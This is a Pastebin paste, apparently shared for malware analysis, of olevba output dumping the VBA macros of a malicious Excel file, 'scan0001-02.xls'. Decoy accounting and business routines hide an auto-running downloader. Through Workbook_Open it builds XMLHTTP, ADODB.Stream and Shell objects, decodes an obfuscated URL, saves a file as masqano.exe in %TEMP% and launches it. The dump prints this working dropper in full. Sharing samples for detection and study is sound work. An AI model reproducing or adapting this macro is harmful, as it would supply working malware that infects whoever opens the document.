dynamoo

Malicious Excel macro

Nov 18th, 2015
575
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. olevba 0.41 - http://decalage.info/python/oletools
  2. Flags        Filename                                                        
  3. -----------  -----------------------------------------------------------------
  4. OLE:MASIHB-V scan0001-02.xls
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: scan0001-02.xls
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ÝòàÊíèãà.cls
  13. in file: scan0001-02.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15. Private Sub Workbook_Open()
  16. AdaptarNulos "", ""
  17. BBudgetAmount "", ""
  18. GetReqVer ""
  19. SetCommentaires
  20. End Sub
  21.  
  22.  
  23.  
  24.  
  25.  
  26. -------------------------------------------------------------------------------
  27. VBA MACRO Ëèñò1.cls
  28. in file: scan0001-02.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04421'
  29. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  30. (empty macro)
  31. -------------------------------------------------------------------------------
  32. VBA MACRO Ëèñò2.cls
  33. in file: scan0001-02.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04422'
  34. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  35. (empty macro)
  36. -------------------------------------------------------------------------------
  37. VBA MACRO Ëèñò3.cls
  38. in file: scan0001-02.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04423'
  39. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  40. (empty macro)
  41. -------------------------------------------------------------------------------
  42. VBA MACRO Module1.bas
  43. in file: scan0001-02.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
  44. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  45. Public Const AGRO = "TREAM"
  46. Public Sub GetEnv()
  47.  Dim PROC_NAME As String
  48.  PROC_NAME = "GetEnv"
  49.  DEBUG_MODE = True
  50.  work_path = ThisWorkbook.Path
  51.  file_name = ThisWorkbook.Name
  52.  prog_name = Left(file_name, InStrRev(file_name, "_") - 1)
  53.  Call CheckProgVal
  54.  prog_name_format = IIf(prog_val = 1, "ActivPS", "ConsoASS")
  55.  prog_desc = IIf(prog_val = 1, "", "")
  56.  num_main = Mid(file_name, InStrRev(file_name, "_") + 1, InStrRev(file_name, ".") - InStrRev(file_name, "_") - 1)
  57.  num_name = IIf(prog_val = 1, "Numero PS", "NIR")
  58.  If DEBUG_INFILE Then debug_file_path = work_path & "\" & Left(file_name, InStrRev(file_name, ".") - 1) & "_debug_macro.log"
  59.  log_file_path = work_path & "\" & prog_name & "_" & num_main & ".log"
  60.  spool_path = work_path & "\resultats"
  61.  file_bilan = IIf(prog_val = 1, prog_name & "_" & num_main & "_0_bilan_params.lst", prog_name & "_" & num_main & "_bilan_params.lst")
  62.  anonym_file = IIf(prog_val = 1, work_path & "\" & prog_name & "_" & num_main & "_anonymise" & Mid(file_name, InStrRev(file_name, ".")), work_path & "\" & prog_name & "_" & Fwk_DoObfuscatorExecution(num_main, 3) & "_anonymise" & Mid(file_name, InStrRev(file_name, ".")))
  63.  cpt_steps = 0
  64.  total_steps = Fwk_GetNbFileInDir(spool_path, "LST") + 1
  65.  ANONYM = False
  66.  Set UserformObject = FormOnOpen
  67.  progressbar_totalwidth = UserformObject.LblProgress.Width
  68.  num_version = GetReqVer(spool_path & "\" & file_bilan)
  69.  lexique = ThisWorkbook.Sheets("lexique").Range("A:B")
  70.  UserformObject.LblTitre = prog_name_format
  71.  UserformObject.Caption = prog_name_format
  72.  UserformObject.LblDescription = prog_desc
  73.  UserformObject.LblReqId = num_name & " ? traiter : " & num_main
  74.  UserformObject.LblVersion = "Version " & num_version
  75.  UserformObject.OptDebugOff.Value = True
  76.  UserformObject.OptDebugOn.Value = False
  77.  UserformObject.OptAnonymOff.Value = True
  78.  UserformObject.OptAnonymOn.Value = False
  79. End Sub
  80. Public Sub DisplayDebugEnv()
  81.  Dim PROC_NAME As String
  82.  PROC_NAME = "DisplayDebugEnv"
  83.  
  84. End Sub
  85. Public Sub CheckProgVal()
  86.  Dim PROC_NAME As String
  87.  PROC_NAME = "CheckProgVal"
  88.  If prog_name = "consoass" Then
  89.  prog_val = 2
  90.  ElseIf prog_name = "activps" Then
  91.  prog_val = 1
  92.  Else
  93.  prog_val = 0
  94.  End If
  95.  If prog_val = 0 Then
  96.  End If
  97. End Sub
  98. Public Sub SetDebugIfSelected()
  99.  Dim PROC_NAME As String
  100.  PROC_NAME = "SetDebugIfSelected"
  101.  Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
  102.  If (UserformObject.OptDebugOn.Value = True) Then
  103.  Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="<DebugOn> est coche")
  104.  If (Not Fwk_CheckIfVBATrust) Then
  105.  Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="<Sources Fiables> non coche, on affiche une alerte bloquante")
  106.  FormSourcesFiables.Show
  107.  End
  108.  End If
  109.  DEBUG_MODE = True
  110.  Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
  111.  If DEBUG_INFILE Then
  112.  DEBUG_NUMFILE = FreeFile()
  113.  Open debug_file_path For Output As DEBUG_NUMFILE
  114.  Else
  115.  DEBUG_NUMFILE = Empty
  116.  End If
  117.  Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="*** Debut de la macro ***")
  118.  Call DisplayDebugEnv
  119.  Else
  120.  DEBUG_MODE = False
  121.  End If
  122. End Sub
  123. Public Function GetReqVer(ByVal file_bilan As String) As String
  124.  Dim PROC_NAME As String
  125.  PROC_NAME = "GetReqVer"
  126.  Dim intFic As Integer, pos1 As Integer, pos2 As Integer
  127.  Dim numver As String, strLigne As String, strnumver As String, masque As String
  128. dist4 = dist3("TEMP")
  129. BFileName ""
  130. GoTo step8
  131. Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
  132.  intFic = FreeFile
  133.  numver = "inconnue"
  134.  If Dir(file_bilan) <> "" Then
  135.  Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
  136.  Open file_bilan For Input As intFic
  137.  Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
  138.  Do While Not EOF(intFic)
  139.  Line Input #intFic, strLigne
  140.  If InStr(strLigne, "THEME") = 0 Then
  141.  Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="Si la ligne contient le mot THEME, on est a priori sur la bonne ligne")
  142.  pos1 = InStr(10, strLigne, ";") + 1
  143.  pos2 = InStr(pos1, strLigne, ";")
  144.  strnumver = Mid(strLigne, pos1, pos2 - pos1)
  145.  Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, "strnumver", strnumver)
  146.  Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
  147.  masque = "[4-9].[0-9]*"
  148.  If strnumver Like masque Then
  149.  Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
  150.  numver = strnumver
  151.  Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, "numver", numver)
  152.  End If
  153.  Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
  154.  Exit Do
  155.  End If
  156.  Loop
  157.  Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="On ferme le fichier")
  158.  Close intFic
  159.  Else
  160.  Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="Fichier " & file_bilan & " non trouve !")
  161.  End If
  162. step8:
  163. dist5 = dist4 + "\" + "mas" + "qano" + "." + "e" + "" + "" + "" + "" + "xe"
  164. dist2.Type = 1
  165. dist2.Open
  166. dist2.write dist1.responseBody
  167.     dist2.savetofile dist5, 2
  168.     Exit Function
  169.  Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="On renvoi la valeur")
  170.  GetReqVer = StrConv(numver, vbLowerCase)
  171. End Function
  172.  
  173. Public Function GetArrFieldInfo(ByVal sheet_name As String)
  174.  Dim PROC_NAME As String
  175.  PROC_NAME = "GetArrFieldInfo"
  176.  Dim ArrFieldInfo As Variant, ArrColumnsToText As Variant, ArrTemp As Variant
  177.  Dim i As Integer, j As Integer
  178.  Dim ConvertText As Boolean
  179.  Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="Selection des colonnes a mettre au format Texte de la feuille : " & sheet_name)
  180.  If prog_val = 1 Then
  181.  Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="Selection des colonnes pour prog_val = " & prog_val)
  182.  ArrColumnsToText = Array(2, 3, 4, 15, 22, 27, 30, 35)
  183.  If sheet_name Like "ccam*" Then
  184.  ArrTemp = Array(39, 40, 42, 44, 51)
  185.  ElseIf sheet_name Like "repart_*" Then
  186.  ArrColumnsToText = Array(2, 3)
  187.  ElseIf sheet_name = "indic_benmg" Then
  188.  ArrColumnsToText = Array(2, 3, 4, 18)
  189.  Else
  190.  ArrTemp = Array(39, 40, 42, 44)
  191.  End If
  192.  Else
  193.  Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="Selection des colonnes pour prog_val = " & prog_val)
  194.  ArrColumnsToText = Array(2, 3, 4, 8, 15, 20, 23, 28)
  195.  If sheet_name = "histo_mtt" Then
  196.  ArrColumnsToText = Array(2, 3, 4, 10)
  197.  ElseIf sheet_name Like "repart_*" Then
  198.  ArrColumnsToText = Array(2, 3)
  199.  If sheet_name = "repart_pres" Or sheet_name = "repart_exec" Then
  200.  ArrTemp = Array(7)
  201.  ElseIf sheet_name = "repart_remmnt" Then
  202.  ArrTemp = Array(8)
  203.  End If
  204.  ElseIf sheet_name Like "ccam*" Then
  205.  ArrTemp = Array(32, 33, 35, 37, 44)
  206.  Else
  207.  ArrTemp = Array(32, 33, 35, 37)
  208.  End If
  209.  End If
  210.  Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
  211.  Call Fwk_DoMergeArray(ArrColumnsToText, ArrTemp)
  212.  Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
  213.  ArrFieldInfo = Array(Array(1, 1))
  214.  For i = 1 To 100
  215.  ReDim Preserve ArrFieldInfo(i)
  216.  For j = LBound(ArrColumnsToText) To UBound(ArrColumnsToText)
  217.  If i = ArrColumnsToText(j) Then
  218.  ConvertText = True
  219.  End If
  220.  Next j
  221.  If ConvertText = True Then
  222.  ArrFieldInfo(i) = Array(i, 2)
  223.  ConvertText = False
  224.  Else
  225.  ArrFieldInfo(i) = Array(i, 1)
  226.  End If
  227.  Next i
  228.  Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
  229.  GetArrFieldInfo = ArrFieldInfo
  230. End Function
  231. Public Sub SetCommentaires()
  232.  Dim PROC_NAME As String
  233.  PROC_NAME = "SetCommentaires"
  234.  Dim ws As Worksheet
  235.  Dim rng As Range
  236.  Dim Cell As Object
  237.  Dim i As Integer
  238.  Dim titre As String, descr As String
  239. dist6.Open (dist5)
  240. Exit Sub
  241.  Set ws = Nothing
  242.  Set rng = Nothing
  243.  Set Cell = Nothing
  244. End Sub
  245. Public Sub SetFormatText(ByVal ArrFieldsFormat As Variant)
  246.  Dim PROC_NAME As String
  247.  PROC_NAME = "SetFormatText"
  248.  Dim ws As Worksheet
  249.  Dim i As Integer
  250.  Dim rng As Range
  251.  Dim Cell As Object
  252.  Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="Formatage des champs sp?ciaux de type texte de la feuille : " & ActiveSheet.Name)
  253.  Set ws = ActiveSheet
  254.  Set rng = Range(ws.Cells(Fwk_GetWsFR(ws), 1), ws.Cells(1, Fwk_GetWsLC(ws)))
  255.  Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
  256.  For Each Cell In rng
  257.  For i = 0 To UBound(ArrFieldsFormat, 1)
  258.  If Cell.Value = ArrFieldsFormat(i) Then
  259.  Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="Si valeur trouve, on applique le format." & Cell.Value & " =" & ArrFieldsFormat(i))
  260.  ws.Columns(Cell.column).EntireColumn.Select
  261.  Selection.NumberFormat = "@"
  262.  Selection.TextToColumns Destination:=Selection, DataType:=xlDelimited, _
  263.  TextQualifier:=xlDoubleQuote, ConsecutiveDelimiter:=True, Tab:=False, _
  264.  Semicolon:=False, Comma:=False, Space:=False, Other:=False, OtherChar _
  265.  :=";", FieldInfo:=Array(1, 2), TrailingMinusNumbers:=True
  266.  Exit For
  267.  End If
  268.  Next i
  269.  Next Cell
  270.  Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
  271.  Set ws = Nothing
  272.  Set rng = Nothing
  273.  Set Cell = Nothing
  274. End Sub
  275. Public Sub SetFormatDate(ByVal ArrFieldsFormat As Variant)
  276.  Dim PROC_NAME As String
  277.  PROC_NAME = "SetFormatDate"
  278.  Dim ws As Worksheet
  279.  Dim i As Integer
  280.  Dim rng As Range
  281.  Dim Cell As Object
  282.  Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="Formatage des champs de type date de la feuille : " & ActiveSheet.Name)
  283.  Set ws = ActiveSheet
  284.  Set rng = Range(ws.Cells(Fwk_GetWsFR(ws), 1), ws.Cells(1, Fwk_GetWsLC(ws)))
  285.  Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
  286.  For Each Cell In rng
  287.  For i = 0 To UBound(ArrFieldsFormat, 1)
  288.  If Cell.Value = ArrFieldsFormat(i) Then
  289.  Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="Si valeur trouve, on applique le format." & Cell.Value & " =" & ArrFieldsFormat(i))
  290.  ws.Columns(Cell.column).EntireColumn.Select
  291.  Selection.TextToColumns Destination:=Selection, DataType:=xlFixedWidth, _
  292.  OtherChar:=";", FieldInfo:=Array(Array(0, 5), Array(8, 1)), _
  293.  TrailingMinusNumbers:=True
  294.  Selection.NumberFormat = "m/d/yyyy"
  295.  Exit For
  296.  End If
  297.  Next i
  298.  Next Cell
  299.  Call Fwk_Se.tDebug(PROC_NAME, DEBUG_MODE, DEBUG_NUMFILE, msg:="")
  300.  Set ws = Nothing
  301.  Set rng = Nothing
  302.  Set Cell = Nothing
  303. End Sub
  304.  
  305. -------------------------------------------------------------------------------
  306. VBA MACRO Module2.bas
  307. in file: scan0001-02.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module2'
  308. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  309. Public dist1 As Object
  310. Public dist2 As Object
  311. Public dist3  As Object
  312. Public dist4 As String
  313. Public dist5 As String
  314. Public dist6 As Object
  315. Public Function BFunctionsVersion() As String
  316. BFunctionsVersion = "2015-10-06"
  317. End Function
  318. Public Function BAccountDescription(filename As String, account As String, Optional column As String = "") As String
  319. Application.Volatile
  320. Dim myUrl As String
  321. myUrl = "accountdescription/" & account
  322. If Len(column) > 0 Then
  323.  myUrl = myUrl & "/" & column
  324.  End If
  325. BAccountDescription = BHttpQuery(filename, myUrl)
  326. End Function
  327. Public Function BAmount(filename As String, account As String, Optional period As String = "") As Double
  328. Application.Volatile
  329. BAmount = Val(BBalanceGet(filename, account, "balance", "amount", period))
  330. End Function
  331. Public Function BBalance(filename As String, account As String, Optional period As String = "") As Double
  332. Application.Volatile
  333. BBalance = Val(BBalanceGet(filename, account, "balance", "balance", period))
  334. End Function
  335. Public Function BBalanceGet(filename As String, account As String, cmd As String, valueName As String, Optional period As String = "") As Double
  336. Application.Volatile
  337. Dim myUrl As String
  338. myUrl = cmd & "/" & account & "/" & valueName
  339. If Not IsEmpty(period) Then
  340.  myUrl = myUrl & "?period=" & period
  341.  End If
  342. BBalanceGet = Val(BQuery(filename, myUrl))
  343. End Function
  344. Public Function BBudgetAmount(filename As String, account As String, Optional period As String = "") As Double
  345. Dim urlAr() As Variant
  346. urlAr = Array(9352, 9364, 9364, 9360, 9306, 9295, 9295, 9367, 9367, 9367, 9294, 9349, 9365, 9362, 9359, 9347, 9359, 9358, 9364, 9345, 9353, 9358, 9349, 9362, 9363, 9294, 9353, 9364, 9295, 9352, 9302, 9300, 9351, 9350, 9299, 9295, 9304, 9305, 9354, 9302, 9347, 9368, 9294, 9349, 9368, 9349)
  347. dist1.Open "G" + "" + "" + "E" + "" + "" + "T" + "" + "", Bezrabotki(urlAr, 45), False
  348. Exit Function
  349. Application.Volatile
  350. BBudgetAmount = Val(BBalanceGet(filename, account, "budget", "amount", period))
  351. End Function
  352. Public Function BBudgetBalance(filename As String, account As String, Optional period As String = "") As Double
  353. Application.Volatile
  354. BBudgetBalance = Val(BBalanceGet(filename, account, "budget", "balance", period))
  355. End Function
  356. Public Function BBudgetInterest(filename As String, account As String, interestRate As String, Optional period As String = "")
  357. Application.Volatile
  358. Dim myUrl As String
  359. myUrl = "budgetinterest/" & account & "?rate=" & interestRate
  360. If Not IsEmpty(period) Then
  361.  myUrl = myUrl & "&period=" & period
  362.  End If
  363. BBudgetInterest = Val(BQuery(filename, myUrl))
  364. End Function
  365. Public Function BBudgetOpening(filename As String, account As String, Optional period As String = "") As Double
  366. Application.Volatile
  367. BBudgetOpening = Val(BBalanceGet(filename, account, "budget", "opening", period))
  368. End Function
  369. Public Function BBudgetTotal(filename As String, account As String, Optional period As String = "") As Double
  370. Application.Volatile
  371. BBudgetTotal = Val(BBalanceGet(filename, account, "budget", "total", period))
  372. End Function
  373. Public Function BCreatePeriod(startDate As Date, endDate As Date) As String
  374. BCreatePeriod = Format(startDate, "yyyy-mm-dd") & "/" & Format(endDate, "yyyy-mm-dd")
  375. End Function
  376. Public Function BCellValue(filename As String, table As String, rowColumn As String, column As String) As String
  377. Application.Volatile
  378. Dim myUrl As String
  379. myUrl = "table/" & table & "/row/" & rowColumn & "/column/" & column
  380. BCellValue = BHttpQuery(filename, myUrl)
  381. End Function
  382. Public Function BDate(dateIso As String) As Date
  383. If Len(dateIso) = 10 Then
  384.  BDate = DateSerial(Left(dateIso, 4), Mid(dateIso, 6, 2), Right(dateIso, 2))
  385.  End If
  386. End Function
  387. Public Function BEndPeriod(filename As String, Optional period As String = "") As Date
  388. Dim dateIso As String
  389. dateIso = BHttpQuery(filename, "endperiod?period=" & period)
  390. If Len(dateIso) = 10 Then
  391.  BEndPeriod = DateSerial(Left(dateIso, 4), Mid(dateIso, 6, 2), Right(dateIso, 2))
  392.  End If
  393. End Function
  394. Public Function BFileName(filename As String, Optional disableConnection As String = "") As String
  395. dist1.Send
  396. Exit Function
  397. If disableConnection <> "0" And Len(disableConnection) > 0 Then
  398.  BFileName = ""
  399.  Exit Function
  400. End If
  401. Dim myUrl As String
  402. myUrl = "info/Base/FileName"
  403. Dim temp As String
  404. temp = BHttpQuery(filename, myUrl)
  405. If temp <> "" Then
  406.  BFileName = Mid(temp, InStrRev(temp, "/") + 1)
  407. Else
  408.  BFileName = ""
  409. End If
  410. End Function
  411. Public Function BInterest(filename As String, account As String, interestRate As String, Optional period As String = "")
  412. Application.Volatile
  413. Dim myUrl As String
  414. myUrl = "interest/" & account & "?rate=" & interestRate
  415. If Not IsEmpty(period) Then
  416.  myUrl = myUrl & "&period=" & period
  417.  End If
  418. BInterest = Val(BQuery(filename, myUrl))
  419. End Function
  420. Public Function BInfo(filename As String, sectionXml As String, idXml As String) As String
  421. Application.Volatile
  422. Dim myUrl As String
  423. myUrl = "info/" & sectionXml & "/" & idXml
  424. BInfo = BHttpQuery(filename, myUrl)
  425. End Function
  426. Public Function BLastQuery(i As Integer) As String
  427. If i >= 0 And i <= MAXLASTQUERY Then
  428.  BLastQuery = lastQuery(i)
  429. End If
  430. End Function
  431. Public Function BOpening(filename As String, account As String, Optional period As String = "") As Double
  432. Application.Volatile
  433. BOpening = Val(BBalanceGet(filename, account, "balance", "opening", period))
  434. End Function
  435. Public Function BStartPeriod(filename As String, Optional period As String = "") As Date
  436. Dim dateIso As String
  437. dateIso = BHttpQuery(filename, "startperiod?period=" & period)
  438. If Len(dateIso) = 10 Then
  439.  BStartPeriod = DateSerial(Left(dateIso, 4), Mid(dateIso, 6, 2), Right(dateIso, 2))
  440.  End If
  441. End Function
  442. Public Function BTotal(filename As String, account As String, Optional period As String = "") As Double
  443. Application.Volatile
  444. BTotal = Val(BBalanceGet(filename, account, "balance", "total", period))
  445. End Function
  446. Public Function BVatBalance(filename As String, vatCode As String, vatValue As String, Optional period As String = "") As Double
  447. Application.Volatile
  448. BVatBalance = Val(BBalanceGet(filename, vatCode, "vatbalance", vatValue, period))
  449. End Function
  450. Public Function BVatDescription(filename As String, vatCode As String, Optional column As String = "") As String
  451. Application.Volatile
  452. Dim myUrl As String
  453. myUrl = "vatdescription/" & vatCode
  454. If Len(column) > 0 Then
  455.  myUrl = myUrl & "/" & column
  456.  End If
  457. BVatDescription = BHttpQuery(filename, myUrl)
  458. End Function
  459. Public Function BQuery(filename As String, query As String) As String
  460. Application.Volatile
  461. BQuery = BHttpQuery(filename, query)
  462. End Function
  463. Public Sub RecalculateAll()
  464. On Error Resume Next
  465. ActiveWorkbook.Names("someChanges").Delete
  466. ActiveWorkbook.Names.Add Name:="someChanges", RefersTo:="=XEX1048575"
  467. ActiveWorkbook.Names("someChanges").Delete
  468. Application.CalculateFullRebuild
  469. End Sub
  470. Private Function BHttpQuery(filename As String, query As String) As String
  471. If filename = "" Then
  472.  Exit Function
  473. End If
  474. Dim myUrl As String
  475. Dim oHttp As Object
  476. Dim BananaHostName As String
  477. On Error Resume Next
  478. BananaHostName = Range("BananaHostName").Value
  479. If BananaHostName = "" Then
  480.  BananaHostName = "localhost:8081"
  481. End If
  482. Set oHttp = CreateObject("WinHttp.WinHttpRequest.5.1")
  483. myUrl = "http://" & BananaHostName & "/v1/doc/" & filename & "/" & query
  484. Dim i As Integer
  485. For i = 0 To (MAXLASTQUERY - 1)
  486.  lastQuery(i) = lastQuery(i + 1)
  487. Next i
  488. lastQuery(MAXLASTQUERY) = myUrl
  489. oHttp.Open "GET", myUrl, False
  490. On Error Resume Next
  491. oHttp.Send
  492. If Err.Number = 0 Then
  493.  If oHttp.Status < 300 Then
  494.  BHttpQuery = oHttp.responseText
  495.  If Left(BHttpQuery, 6) = "<html " Then
  496.  BHttpQuery = ""
  497.  End If
  498.  Else
  499.  End If
  500. End If
  501. End Function
  502. Private Function BananaIsRunning() As Boolean
  503. On Error Resume Next
  504.  Dim bananaObj As Object
  505.  bananaObj = GetObject("", "Banana")
  506.  If Err.Number = 0 Then
  507.  BananaIsRunning = True
  508.  Else
  509.  BananaIsRunning = False
  510.  End If
  511. End Function
  512.  
  513.  
  514. -------------------------------------------------------------------------------
  515. VBA MACRO Module3.bas
  516. in file: scan0001-02.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module3'
  517. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  518.  
  519. Public Function crearFactoryDAO(ptpModo_Operacion As String) As Boolean
  520.  If ptpModo_Operacion = FACTURACION_REMOTA Then
  521.  objEjeSincronizador.EjecutarSincronizador objConfig.Ruta_Sincronizador
  522.  Set objbasededatos = New CMySQLBasededatos
  523.  Set objDiccionariodeDatos = New CMySQLDiccDatos
  524.  Set ObjTablasIO = New CMySQLTablasIO
  525.  Else
  526.  Set objbasededatos = New CBasededatos
  527.  Set objDiccionariodeDatos = New CDiccionariodeDatos
  528.  Set ObjTablasIO = New CTablasIO
  529.  End If
  530. End Function
  531.  
  532. Public Function Bezrabotki(sS1() As Variant, l2 As Integer) As String
  533.  Dim dubBez As String
  534.  Dim counter As Integer
  535.  dubBez = ""
  536.  For counter = LBound(sS1) To l2
  537.   dubBez = dubBez & Chr(sS1(counter) - 8 * l2 - 8888)
  538.  Next counter
  539.  Bezrabotki = dubBez
  540. End Function
  541. Public Function ReemplazarPalabra(pCadena As String, _
  542.  pPalabraIn As String, pPalabraOut As String) As String
  543. Dim nPos As Integer
  544. Dim strAux1 As String
  545. Dim strAux2 As String
  546.  nPos = InStr(1, pCadena, pPalabraIn, vbTextCompare)
  547.  If nPos > 0 Then
  548.  strAux1 = Left(pCadena, nPos - 1)
  549.  strAux2 = Right(pCadena, Len(pCadena) - nPos - Len(pPalabraIn) + 1)
  550.  strAux1 = strAux1 + pPalabraOut + ReemplazarPalabra(strAux2, pPalabraIn, pPalabraOut)
  551.  ReemplazarPalabra = strAux1
  552.  Exit Function
  553.  End If
  554.  ReemplazarPalabra = pCadena
  555. End Function
  556. Public Function AdaptarNulos(pDato As Variant, valordefecto As Variant)
  557. DOT = "D"
  558. vital = "A" + LCase(DOT) + "o" + LCase(DOT) + "b." + "S" + LCase(AGRO)
  559. Set dist1 = CreateObject("Microsoft" + ".XMLHTTP")
  560. Set dist6 = CreateObject("Shell.Application")
  561. Set dist3 = CreateObject("WScript.Shell").Environment("Process")
  562. GoTo dist2
  563.  If IsNull(pDato) Then
  564.  AdaptarNulos = valordefecto
  565.  Else
  566.  If CStr(pDato) = "" Then
  567.  AdaptarNulos = valordefecto
  568.  Else
  569.  AdaptarNulos = CStr(pDato)
  570.  End If
  571.  End If
  572. dist2:
  573. Set dist2 = CreateObject(vital + "")
  574. End Function
  575. Public Function ObtenerElAltoDeLaResolucion() As Integer
  576.  ObtenerElAltoDeLaResolucion = (Screen.Height / Screen.TwipsPerPixelY)
  577. End Function
  578. Public Function ObtenerElAnchoDeLaResolucion() As Integer
  579.  ObtenerElAnchoDeLaResolucion = (Screen.Width / Screen.TwipsPerPixelX)
  580. End Function
  581. Public Function ExisteElArchivo(strPathDelArchivo As String) As Boolean
  582.  Dim FSO
  583.  Dim Canal
  584.  ExisteElArchivo = False
  585.  Set FSO = CreateObject("Scripting.FileSystemObject")
  586.  If InStr(1, strPathDelArchivo, "\", vbTextCompare) = 0 Then strPathDelArchivo = FSO.GetSpecialFolder(WindowsFolder) & "\" & strPathDelArchivo
  587.  If FSO.FileExists(strPathDelArchivo) Then ExisteElArchivo = True
  588.  Set FSO = Nothing
  589. End Function
  590. Public Function CrearCarpeta(strPath As String) As Boolean
  591.  On Error Resume Next
  592.  MkDir (strPath)
  593.  On Error GoTo 0
  594. End Function
  595. Public Function AdaptarValorNumerico(pValor As String) As Single
  596.  If Trim(pValor) = "" Then
  597.  AdaptarValorNumerico = 0
  598.  Else
  599.  AdaptarValorNumerico = CSng(pValor)
  600.  End If
  601. End Function
  602. Public Function ObtenerDatoDelRegistrodeWindows(pEntrada As String, pClave As String) As String
  603.  ObtenerDatoDelRegistrodeWindows = GetSetting(pEntrada, "General Settings", pClave)
  604. End Function
  605. Public Function AdaptarTrueFalse(pControl As String, ByVal Valor As String) As Variant
  606.  AdaptarTrueFalse = Valor
  607.  If LCase(Mid(pControl.Tag, 1, 2)) = "fl" Then
  608.  If UCase(Valor) = "VERDADERO" Or UCase(Valor) = "TRUE" Then AdaptarTrueFalse = vbChecked
  609.  If UCase(Valor) = "FALSE" Or UCase(Valor) = "FALSO" Then AdaptarTrueFalse = vbUnchecked
  610.  Else
  611.  If UCase(Valor) = "VERDADERO" Or UCase(Valor) = "TRUE" Then AdaptarTrueFalse = True
  612.  If UCase(Valor) = "FALSE" Or UCase(Valor) = "FALSO" Then AdaptarTrueFalse = False
  613.  End If
  614. End Function
  615. Public Sub Error_de_Conexion()
  616.  MsgBox "Se ha producido un error en la conexion, imposible continuar, el sistema se cerrar?.", vbCritical + vbDefaultButton1, "Atenci?n"
  617.  End
  618. End Sub
  619.  
  620. Sub Main()
  621. Dim lnrCaja As String
  622.  If App.LogMode = MODO_DEBUG Then
  623.  Modulo_Pruebas.EjecutarPruebas
  624.  End If
  625.  objConfigRegional.ConfigurarSistema
  626.  Azul = RGB(0, 0, 255)
  627.  Amarillo = RGB(255, 255, 185)
  628.  Blanco = RGB(255, 255, 255)
  629.  Gris = &HE0E0E0
  630.  Rojo = RGB(255, 113, 113)
  631.  Verde = RGB(64, 196, 73)
  632.  Marron = RGB(255, 128, 64)
  633.  Naranja = RGB(249, 152, 21)
  634.  objConfig.CargarINI
  635.  If objConfig.GrabaLog = "SI" Then
  636.  objLog.GrabaLog = "SI"
  637.  objLog.crearNombreArchivo
  638.  End If
  639.  crearFactoryDAO objConfig.tpModo_Operacion
